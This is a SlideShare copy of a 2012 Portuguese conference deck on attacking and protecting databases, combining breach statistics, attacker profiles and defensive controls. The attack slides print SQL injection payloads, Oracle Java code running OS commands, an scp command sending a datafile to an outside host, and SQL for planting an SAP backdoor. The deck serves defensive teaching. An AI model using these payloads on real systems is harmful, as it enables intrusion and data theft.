SlideShare une entreprise Scribd logo
1  sur  42
Télécharger pour lire hors ligne
DATABASE
ATTACK & PROTECT
Ricardo Martins
CISA, ISO 27001 LA, ISO 20000 Auditor
Myriad Crystal Center 2012/12/05
01
AGENDA
#REALITY_CHECK
#ATTACK
#PROTECT
02
REALITY_CHECK
Mais de 1MM de Registos Foram Expostos a Partir
de Bases de Dados Em 6 Anos
Dois Terços de Informação Sensível Reside
em Bases de Dados
… e Duplica a Cada Dois Anos
20112009
48% Data Breaches
Caused by Insiders
89% Records Stolen
Using SQL Injection
86% Hacking Used
Stolen Credentials
fonte: IDC, 2011; Verizon, 2007-2011
03
REALITY_CHECK
• SQL injection attacks against
databases are responsible for
89% of breached data
• SQL injection vulnerabilities are
endemic
• Require code changes to be made
to an application.
“The versatility and effectiveness of SQL injection make it a
multi-tool of choice among cyber criminals.”
fonte: Verizon 2010-2012 Data Breach Investigations Report
04
REALITY_CHECK
OWASP TOP TEN
#1 Injection
Use of stolen login credentials
SQL Injection
Exploitation of backdoor or
command and control channel
51% / 86%
29% / 51%
Hacking methods by percent of breaches within hacking and
percent of records
25% / 89%
ATTACK
05
Define
target
Find and
organize
accomplices
Build or acquire
tools
Research
target
infrastructure
employees
Test for
detection
Deployment
Initial
intrusion
Outbound
connection
initiated
Expand access
and obtain
credentials
Strengthen
foothold
Exfiltrate
data
Cover tracks
and remain
undetected
ATTACK
06
ADVANCED PERSISTENT THREAT
fonte: SecureWorks 2012 Anatomy of an APT
rede ISP
rede Alvo
corporate LAN
router
2.2.2.2
Hops
10
11
12
8
9
Hops
8
9
10
6
7
router
1.1.1.1
1.1.1.1 2.2.2.2
load
balancer
firewall
l1
ISP 2ISP 1
app
servers
databases
Internet
11 13
firewall
l2
07
ARQUITECTURA
Atacante externo
Atacante interno
ATTACK
EXTERNO
08
ATTACK
BÁSICO/
SCRIPTED
SOFISTICADO/
APT
FRAUDE
POLÍTICO/
REPUTAÇÃO
ROUBO DE
IDENTIDADE
ESPIONAGEM/
CYBERWARFARE
COMPLETO DELIMITADO FOCADO
ACESSO
FÍSICO
REDES DIGITAIS
OUTRAS
COMUNICAÇÕES
ENGENHARIA
SOCIAL
CAMUFLADO RUIDOSO
C. HACKING
ORIENTAÇÃO
ÂMBITO
ABORDAGEM
TÉCNICA
ATTACK
09
ATACANTE_EXTERNO
C. NEGÓCIO SUPERFICIAL PRIVILEGIADO
EXTERNO INTERNORELAÇÃO
ABRANGENTE
ANOSDIAS MESESPERÍODO
EXTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK
AVANÇADO/
ACADÉMICO
ATTACK
10
ATACANTE_EXTERNO
Driver
Transacções financeiras
Bens transaccionáveis
Informação sensível
Foco
Instituições financeiras
Escritórios de advogados
Empresas detentoras de patentes
Comércio online
Organizações com muita informação
pessoal e correlacionável
(e.g. email, nome, morada, sexo,
empregador, BI, NIF, compras, etc.)
ATTACK
11
ATACANTE_EXTERNO
Pontos a explorar:
Software desactualizado com fingerprinting e exploits
disponíveis
IAM e PIM ineficientes (e.g. passwords default, contas
esquecidas, contas privilegiadas não controladas)
Serviços desnecessários e inseguros
Aplicações Web vulneráveis a SQL injection
Whaling, spear phishing
Malware
 Utilizadores conseguem subverter a aplicação para acederem à base de dados
 As aplicações não são desenhadas defensivamente
 As aplicações correm com utilizadores privilegiados
 Cada aplicação é única
Aplicação
SELECT * from sales
where
produtoID =
''union select produtoID, clienteID from Compras --''
and location = 1;
SELECT * from sales where
produtoID =
‘SAASCloudStorage'
and location = 1;
Demasiada confiança...
ATTACK
12
SQLi
www.borla.pt/search.jsp?product=SAASCloudStorage
www.borla.pt/search.jsp?product=' union select clienteID from Compras --'
Base de Dados
13
SQLi
ATTACK
or 1=1 --
' or 0=0 --
'' or 0=0 --
or 0=0 --
' or 0=0 #
'' or 0=0 #
or 0=0 #
' or 'x'='x
'' or
''x''=''x
') or ('x'='x
' or 1=1--
hi'') or
(''a''=''a
' or a=a--
'' or
''a''=''a
') or ('a'='a
'') or
(''a''=''a
hi'' or
''a''=''a
...
Saber a versão da base de dados
' or 1=utl_inaddr.get_host_address((select banner
from v$version where rownum=1))—
Correr comandos no sistema operativo (através de java)
javasyspriv to user1;create or replace and resolve
java source name "JAVACMD" ASimport
java.lang.*;import java.io.*;public class JAVACMD{
public static void execCommand (String command)
throws IOException {
Runtime.getRuntime().exec(command);} };/Create or
replace procedure javacmdproc (p_command in
varchar2)as language java name 'JAVACMD.execCommand
(java.lang.String)';/exec javacmdproc('cmd.exe /c
echo Olá > c:cloudcomputing.txt');
INTERNO
14
ATTACK
BÁSICO/
SCRIPTED
AVANÇADO/
SOFISTICADO
FRAUDE
POLÍTICO/
REPUTAÇÃO
ROUBO DE
IDENTIDADE
ESPIONAGEM/
CYBERWARFARE
COMPLETO FOCADO
ACESSO
FÍSICO
REDES DIGITAIS
ENGENHARIA
SOCIAL
CAMUFLADO RUIDOSO
C. HACKING
ORIENTAÇÃO
ÂMBITO
ABORDAGEM
TÉCNICA
ATTACK
15
ATACANTE_INTERNO
C. NEGÓCIO SUPERFICIAL PRIVILEGIADO
EXTERNO INTERNORELAÇÃO
ABRANGENTE
ANOSDIAS MESESPERÍODO
INTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK
DELIMITADO
ATTACK
16
ATACANTE_INTERNO
Driver
Informação sensível
Transacções financeiras
Foco
Informação sensível do negócio do
empregador ou clientes
Credenciais para transacções financeiras
Informação pessoal e correlacionável dos
clientes
(e.g. email, nome, volume de compras,
datas de contratos, registos de utilização)
ATTACK
17
ATACANTE_INTERNO
Pontos a explorar:
Acesso aos ficheiros de base de dados pelo sistema
operativo
Acesso a Informação de clientes pela de base de dados
Engenharia social a colegas ou clientes
Acesso a tapes de backups não cifradas
Ambiente de testes com os mesmos dados de produção
Colocação de malware
ATTACK
18
ATACANTE_INTERNO_SYSADMIN
Sistema
Operativo
A base de dados não é cifrada. É possível copiar a
informação e transportá-la numa pen USB.
cp /home/oracle/oradata/tmdb/system01.dbf /home/hacker/
scp /home/hacker/system01.dbf hacker@cloudcomputing.pt:22/
BD não cifrada
Administrador
de Sistemas
O DBA que tem acesso informação de clientes pela base de
dados e pode fazer alterações sem deixar vestígios.
A tabela T000 contém informação base de clientes SAP.
SELECT MANDT, MTEXT, CCCATEGORY from SAPSR3.T000;
BD sem separação
de funções (SoD)
DBA
ATTACK
19
ATACANTE_INTERNO_DBA_READ
É possível a um DBA injectar um backdoor ABAP no sistema SAP.
UPDATE SAPSR3.REPOSRC
SET DATA=<CODIGO_BACKDOOR_ABAP> WHERE PROGNAME='SAPMSYST';
ATTACK
20
ATACANTE_INTERNO_DBA_WRITE
De modo a activar o backdoor basta obrigar o SAP a interpretar o
novo código:
DELETE FROM SAPSR3.REPOLOAD WHERE PROGNAME='SAPMSYST';
O backdoor poderia enviar emails com todas as passwords dos
utilizadores que fazem login no SAPGUI.
ATTACK
21
COMMON_ATTACK_PATTERN_ENUMERATION_AND_CLASSIFICATION
fonte: capec.mitre.org
 Os ataques têm um objectivo concreto.
 É suposto não serem detectados.
 O atacante externo é mais sofisticado, o interno tem
acesso a infra-estrutura e informação privilegiados.
 Os ataques podem ser muito alargados no tempo.
 Um auditor de segurança analisa risco tecnológico
num curto espaço de tempo.
ATTACK
22
KEY POINTS
PROTECT
23
PROTECT
24
INTERVENIENTES
Aplicações
Clientes
Fornecedores
Gestores
aplicacionais
Aplicações
Cloud
Sistemas
OperativosAdministradores
de sistemas
Equipa de
suporte
DBAs
Aplicações
móveis
Hackers
Camada de
Segurança
Colaboradores
DBAs
Outsourcing
Equipa de
suporte SLA
Programadores
Outsourcing
25
COMMON_VULNERABILITY_SCORING_SYSTEM
PROTECT
fonte: www.first.org
EXTERNO
26
PROTECT
27
EXTERNO
PROTECT
Melhorar a segurança nas aplicações.
Software Assurance Maturity Model
ISO/IEC 27034 Application security
Sistema Anti Fraude e Risk Based Access Control
Segregar redes e isolar as bases de dados.
28
EXTERNO
PROTECT
Compreender preventivamente a intenção
dos pedidos SQL através de um
filtro/firewall SQL.
Impedir ataques sem quebrar o
funcionamento das aplicações.
29
EXTERNO
PROTECT
Auditar vulnerabilidades e configurações.
30
EXTERNO
PROTECT
INTERNO
31
PROTECT
32
INTERNO
PROTECT
Gerir as contas privilegiadas de modo a
haver não repúdio e auditabilidade.
33
INTERNO
PROTECT
Classificar a informação nas bases de
dados e atribuir perfis de acesso.
Este workflow pode ser colocado num
Gestor de Identidades.
34
INTERNO
PROTECT
Segregar as funções (SoD) dos utilizadores
nas bases de dados.
Os DBAs não devem ter acesso a
informação aplicacional.
35
INTERNO
PROTECT
Entidade
Criar
Contas
SYSDBA Backup Tuning Patching Monitor.
Security
Admin
Negócio
Aplica.
Ricardo
Martins
X - - - - - - -
Eurico
Maia
- - - - - - X -
Tiago
Jacinto
- - X - - - - -
Carlos
Silva
- - - - - X - -
Pedro
Costa
- - - X - X - -
RMAN - X X - - - - -
SYSTEM - - - - EBS - - -
SAPSR3 - - - - - - - SAP ERP
36
INTERNO
PROTECT
Transpor dados de produção para ambientes
de pré-produção retirando a informação
sensível.
As equipas de desenvolvimento não devem
ter acesso a informação de negócio.
37
INTERNO
PROTECT
• Ser selectivo
• Fazer log de todo o SQL de utilizadores com acessos privilegiados
• Não logar actividade aplicacional normal
• Log SQL apenas para a actividade sensível das aplicações
• Utilizar níveis de ameaça para priorizar eventos
Aplicar boas práticas de logging.
38
INTERNO
PROTECT
Cifrar a informação sensível da base dados
em repouso, em trânsito em nos backups.
Autenticação em clear text é facilmente
interceptada numa LAN (ARP Spoofing).
PROTECT
39
KEY POINTS
Começar com um plano simples e ir
melhorando.
Definir métricas.
(e.g. número de incidentes, impacto CIA, impacto no
negócio, número de clientes afectados, etc.)
 As redes digitais são os novos espaços. Devemos ter
as mesmas cautelas que temos no mundo físico, os
perigos são os mesmos.
 As bases dados devem ser trabalhadas como
recursos críticos que são.
 A segurança tem de ser trabalhada em camadas,
como um castelo. Nenhuma camada é intransponível,
mas pode implicar muita complexidade, tempo,
presença física. etc.
 Os seus recursos são valiosos e são transaccionáveis
na Web.
PROTECT
40
KEY POINTS
ricardo.martins@cloudcomputing.pt
www.cloudcomputing.pt
CloudComputing.PT é uma marca registada de
CloudComputing.PT LDA

Contenu connexe

Similaire à Database - Attack & Protect

Sql server 2016 discovery day
Sql server 2016   discovery daySql server 2016   discovery day
Sql server 2016 discovery dayRoberto Fonseca
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...
ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...
ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...Embarcados
 
Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemAlcyon Ferreira de Souza Junior, MSc
 
Evento IEEE 2012 - Palestra sobre segurança de automação industrial
Evento IEEE 2012 - Palestra sobre segurança de automação industrialEvento IEEE 2012 - Palestra sobre segurança de automação industrial
Evento IEEE 2012 - Palestra sobre segurança de automação industrialTI Safe
 
Estratégia Oracle para MySQL
Estratégia Oracle para MySQLEstratégia Oracle para MySQL
Estratégia Oracle para MySQLMySQL Brasil
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de DadosFelipe Plattek
 
CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)
CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)
CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)TI Safe
 
Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...
Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...
Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...Rodrigo Immaginario
 
Sistemas de proteção de perímetro
Sistemas de proteção de perímetroSistemas de proteção de perímetro
Sistemas de proteção de perímetroRodrigo Campos
 
Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Alcyon Ferreira de Souza Junior, MSc
 
Segurança em Sistemas SCADA
Segurança em Sistemas SCADASegurança em Sistemas SCADA
Segurança em Sistemas SCADAAlexandre Freire
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
Cyber Security for Servers in Environment Aggressive
Cyber Security for Servers in Environment AggressiveCyber Security for Servers in Environment Aggressive
Cyber Security for Servers in Environment AggressiveAdvantech
 
CLASS 2016 - Palestra Eduardo Fernandes
CLASS 2016 - Palestra Eduardo FernandesCLASS 2016 - Palestra Eduardo Fernandes
CLASS 2016 - Palestra Eduardo FernandesTI Safe
 
[CLASS 2014] Palestra Técnica - Silvio Rocha
[CLASS 2014] Palestra Técnica - Silvio Rocha[CLASS 2014] Palestra Técnica - Silvio Rocha
[CLASS 2014] Palestra Técnica - Silvio RochaTI Safe
 
High availability e Disaster Recovery é o seguro de vida de todo DBA
High availability e Disaster Recovery é o seguro de vida de todo DBAHigh availability e Disaster Recovery é o seguro de vida de todo DBA
High availability e Disaster Recovery é o seguro de vida de todo DBALuiz Henrique Garetti Rosário
 

Similaire à Database - Attack & Protect (20)

Sql server 2016 discovery day
Sql server 2016   discovery daySql server 2016   discovery day
Sql server 2016 discovery day
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...
ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...
ScadaBR: A ferramenta de Monitoramento e Controle mais Acessível e Barata de ...
 
Segurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSourceSegurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSource
 
Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometem
 
Evento IEEE 2012 - Palestra sobre segurança de automação industrial
Evento IEEE 2012 - Palestra sobre segurança de automação industrialEvento IEEE 2012 - Palestra sobre segurança de automação industrial
Evento IEEE 2012 - Palestra sobre segurança de automação industrial
 
Estratégia Oracle para MySQL
Estratégia Oracle para MySQLEstratégia Oracle para MySQL
Estratégia Oracle para MySQL
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de Dados
 
CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)
CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)
CLASS 2018 - Palestra de Luciano Lima (Head of Presales LatAm – Kaspersky)
 
Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...
Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...
Mvp show cast - Defesa em profundidade: Veja como as tecnologias microsoft po...
 
Sistemas de proteção de perímetro
Sistemas de proteção de perímetroSistemas de proteção de perímetro
Sistemas de proteção de perímetro
 
Segurança na Nuvem
Segurança na NuvemSegurança na Nuvem
Segurança na Nuvem
 
Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem
 
Segurança em Sistemas SCADA
Segurança em Sistemas SCADASegurança em Sistemas SCADA
Segurança em Sistemas SCADA
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Cyber Security for Servers in Environment Aggressive
Cyber Security for Servers in Environment AggressiveCyber Security for Servers in Environment Aggressive
Cyber Security for Servers in Environment Aggressive
 
CLASS 2016 - Palestra Eduardo Fernandes
CLASS 2016 - Palestra Eduardo FernandesCLASS 2016 - Palestra Eduardo Fernandes
CLASS 2016 - Palestra Eduardo Fernandes
 
Java security
Java securityJava security
Java security
 
[CLASS 2014] Palestra Técnica - Silvio Rocha
[CLASS 2014] Palestra Técnica - Silvio Rocha[CLASS 2014] Palestra Técnica - Silvio Rocha
[CLASS 2014] Palestra Técnica - Silvio Rocha
 
High availability e Disaster Recovery é o seguro de vida de todo DBA
High availability e Disaster Recovery é o seguro de vida de todo DBAHigh availability e Disaster Recovery é o seguro de vida de todo DBA
High availability e Disaster Recovery é o seguro de vida de todo DBA
 

Database - Attack & Protect

  • 1. DATABASE ATTACK & PROTECT Ricardo Martins CISA, ISO 27001 LA, ISO 20000 Auditor Myriad Crystal Center 2012/12/05
  • 4. Mais de 1MM de Registos Foram Expostos a Partir de Bases de Dados Em 6 Anos Dois Terços de Informação Sensível Reside em Bases de Dados … e Duplica a Cada Dois Anos 20112009 48% Data Breaches Caused by Insiders 89% Records Stolen Using SQL Injection 86% Hacking Used Stolen Credentials fonte: IDC, 2011; Verizon, 2007-2011 03 REALITY_CHECK
  • 5. • SQL injection attacks against databases are responsible for 89% of breached data • SQL injection vulnerabilities are endemic • Require code changes to be made to an application. “The versatility and effectiveness of SQL injection make it a multi-tool of choice among cyber criminals.” fonte: Verizon 2010-2012 Data Breach Investigations Report 04 REALITY_CHECK OWASP TOP TEN #1 Injection Use of stolen login credentials SQL Injection Exploitation of backdoor or command and control channel 51% / 86% 29% / 51% Hacking methods by percent of breaches within hacking and percent of records 25% / 89%
  • 7. Define target Find and organize accomplices Build or acquire tools Research target infrastructure employees Test for detection Deployment Initial intrusion Outbound connection initiated Expand access and obtain credentials Strengthen foothold Exfiltrate data Cover tracks and remain undetected ATTACK 06 ADVANCED PERSISTENT THREAT fonte: SecureWorks 2012 Anatomy of an APT
  • 8. rede ISP rede Alvo corporate LAN router 2.2.2.2 Hops 10 11 12 8 9 Hops 8 9 10 6 7 router 1.1.1.1 1.1.1.1 2.2.2.2 load balancer firewall l1 ISP 2ISP 1 app servers databases Internet 11 13 firewall l2 07 ARQUITECTURA Atacante externo Atacante interno ATTACK
  • 10. BÁSICO/ SCRIPTED SOFISTICADO/ APT FRAUDE POLÍTICO/ REPUTAÇÃO ROUBO DE IDENTIDADE ESPIONAGEM/ CYBERWARFARE COMPLETO DELIMITADO FOCADO ACESSO FÍSICO REDES DIGITAIS OUTRAS COMUNICAÇÕES ENGENHARIA SOCIAL CAMUFLADO RUIDOSO C. HACKING ORIENTAÇÃO ÂMBITO ABORDAGEM TÉCNICA ATTACK 09 ATACANTE_EXTERNO C. NEGÓCIO SUPERFICIAL PRIVILEGIADO EXTERNO INTERNORELAÇÃO ABRANGENTE ANOSDIAS MESESPERÍODO EXTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK AVANÇADO/ ACADÉMICO
  • 11. ATTACK 10 ATACANTE_EXTERNO Driver Transacções financeiras Bens transaccionáveis Informação sensível Foco Instituições financeiras Escritórios de advogados Empresas detentoras de patentes Comércio online Organizações com muita informação pessoal e correlacionável (e.g. email, nome, morada, sexo, empregador, BI, NIF, compras, etc.)
  • 12. ATTACK 11 ATACANTE_EXTERNO Pontos a explorar: Software desactualizado com fingerprinting e exploits disponíveis IAM e PIM ineficientes (e.g. passwords default, contas esquecidas, contas privilegiadas não controladas) Serviços desnecessários e inseguros Aplicações Web vulneráveis a SQL injection Whaling, spear phishing Malware
  • 13.  Utilizadores conseguem subverter a aplicação para acederem à base de dados  As aplicações não são desenhadas defensivamente  As aplicações correm com utilizadores privilegiados  Cada aplicação é única Aplicação SELECT * from sales where produtoID = ''union select produtoID, clienteID from Compras --'' and location = 1; SELECT * from sales where produtoID = ‘SAASCloudStorage' and location = 1; Demasiada confiança... ATTACK 12 SQLi www.borla.pt/search.jsp?product=SAASCloudStorage www.borla.pt/search.jsp?product=' union select clienteID from Compras --' Base de Dados
  • 14. 13 SQLi ATTACK or 1=1 -- ' or 0=0 -- '' or 0=0 -- or 0=0 -- ' or 0=0 # '' or 0=0 # or 0=0 # ' or 'x'='x '' or ''x''=''x ') or ('x'='x ' or 1=1-- hi'') or (''a''=''a ' or a=a-- '' or ''a''=''a ') or ('a'='a '') or (''a''=''a hi'' or ''a''=''a ... Saber a versão da base de dados ' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))— Correr comandos no sistema operativo (através de java) javasyspriv to user1;create or replace and resolve java source name "JAVACMD" ASimport java.lang.*;import java.io.*;public class JAVACMD{ public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command);} };/Create or replace procedure javacmdproc (p_command in varchar2)as language java name 'JAVACMD.execCommand (java.lang.String)';/exec javacmdproc('cmd.exe /c echo Olá > c:cloudcomputing.txt');
  • 16. BÁSICO/ SCRIPTED AVANÇADO/ SOFISTICADO FRAUDE POLÍTICO/ REPUTAÇÃO ROUBO DE IDENTIDADE ESPIONAGEM/ CYBERWARFARE COMPLETO FOCADO ACESSO FÍSICO REDES DIGITAIS ENGENHARIA SOCIAL CAMUFLADO RUIDOSO C. HACKING ORIENTAÇÃO ÂMBITO ABORDAGEM TÉCNICA ATTACK 15 ATACANTE_INTERNO C. NEGÓCIO SUPERFICIAL PRIVILEGIADO EXTERNO INTERNORELAÇÃO ABRANGENTE ANOSDIAS MESESPERÍODO INTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK DELIMITADO
  • 17. ATTACK 16 ATACANTE_INTERNO Driver Informação sensível Transacções financeiras Foco Informação sensível do negócio do empregador ou clientes Credenciais para transacções financeiras Informação pessoal e correlacionável dos clientes (e.g. email, nome, volume de compras, datas de contratos, registos de utilização)
  • 18. ATTACK 17 ATACANTE_INTERNO Pontos a explorar: Acesso aos ficheiros de base de dados pelo sistema operativo Acesso a Informação de clientes pela de base de dados Engenharia social a colegas ou clientes Acesso a tapes de backups não cifradas Ambiente de testes com os mesmos dados de produção Colocação de malware
  • 19. ATTACK 18 ATACANTE_INTERNO_SYSADMIN Sistema Operativo A base de dados não é cifrada. É possível copiar a informação e transportá-la numa pen USB. cp /home/oracle/oradata/tmdb/system01.dbf /home/hacker/ scp /home/hacker/system01.dbf hacker@cloudcomputing.pt:22/ BD não cifrada Administrador de Sistemas
  • 20. O DBA que tem acesso informação de clientes pela base de dados e pode fazer alterações sem deixar vestígios. A tabela T000 contém informação base de clientes SAP. SELECT MANDT, MTEXT, CCCATEGORY from SAPSR3.T000; BD sem separação de funções (SoD) DBA ATTACK 19 ATACANTE_INTERNO_DBA_READ
  • 21. É possível a um DBA injectar um backdoor ABAP no sistema SAP. UPDATE SAPSR3.REPOSRC SET DATA=<CODIGO_BACKDOOR_ABAP> WHERE PROGNAME='SAPMSYST'; ATTACK 20 ATACANTE_INTERNO_DBA_WRITE De modo a activar o backdoor basta obrigar o SAP a interpretar o novo código: DELETE FROM SAPSR3.REPOLOAD WHERE PROGNAME='SAPMSYST'; O backdoor poderia enviar emails com todas as passwords dos utilizadores que fazem login no SAPGUI.
  • 23.  Os ataques têm um objectivo concreto.  É suposto não serem detectados.  O atacante externo é mais sofisticado, o interno tem acesso a infra-estrutura e informação privilegiados.  Os ataques podem ser muito alargados no tempo.  Um auditor de segurança analisa risco tecnológico num curto espaço de tempo. ATTACK 22 KEY POINTS
  • 28. 27 EXTERNO PROTECT Melhorar a segurança nas aplicações. Software Assurance Maturity Model ISO/IEC 27034 Application security Sistema Anti Fraude e Risk Based Access Control
  • 29. Segregar redes e isolar as bases de dados. 28 EXTERNO PROTECT
  • 30. Compreender preventivamente a intenção dos pedidos SQL através de um filtro/firewall SQL. Impedir ataques sem quebrar o funcionamento das aplicações. 29 EXTERNO PROTECT
  • 31. Auditar vulnerabilidades e configurações. 30 EXTERNO PROTECT
  • 33. 32 INTERNO PROTECT Gerir as contas privilegiadas de modo a haver não repúdio e auditabilidade.
  • 34. 33 INTERNO PROTECT Classificar a informação nas bases de dados e atribuir perfis de acesso. Este workflow pode ser colocado num Gestor de Identidades.
  • 35. 34 INTERNO PROTECT Segregar as funções (SoD) dos utilizadores nas bases de dados. Os DBAs não devem ter acesso a informação aplicacional.
  • 36. 35 INTERNO PROTECT Entidade Criar Contas SYSDBA Backup Tuning Patching Monitor. Security Admin Negócio Aplica. Ricardo Martins X - - - - - - - Eurico Maia - - - - - - X - Tiago Jacinto - - X - - - - - Carlos Silva - - - - - X - - Pedro Costa - - - X - X - - RMAN - X X - - - - - SYSTEM - - - - EBS - - - SAPSR3 - - - - - - - SAP ERP
  • 37. 36 INTERNO PROTECT Transpor dados de produção para ambientes de pré-produção retirando a informação sensível. As equipas de desenvolvimento não devem ter acesso a informação de negócio.
  • 38. 37 INTERNO PROTECT • Ser selectivo • Fazer log de todo o SQL de utilizadores com acessos privilegiados • Não logar actividade aplicacional normal • Log SQL apenas para a actividade sensível das aplicações • Utilizar níveis de ameaça para priorizar eventos Aplicar boas práticas de logging.
  • 39. 38 INTERNO PROTECT Cifrar a informação sensível da base dados em repouso, em trânsito em nos backups. Autenticação em clear text é facilmente interceptada numa LAN (ARP Spoofing).
  • 40. PROTECT 39 KEY POINTS Começar com um plano simples e ir melhorando. Definir métricas. (e.g. número de incidentes, impacto CIA, impacto no negócio, número de clientes afectados, etc.)
  • 41.  As redes digitais são os novos espaços. Devemos ter as mesmas cautelas que temos no mundo físico, os perigos são os mesmos.  As bases dados devem ser trabalhadas como recursos críticos que são.  A segurança tem de ser trabalhada em camadas, como um castelo. Nenhuma camada é intransponível, mas pode implicar muita complexidade, tempo, presença física. etc.  Os seus recursos são valiosos e são transaccionáveis na Web. PROTECT 40 KEY POINTS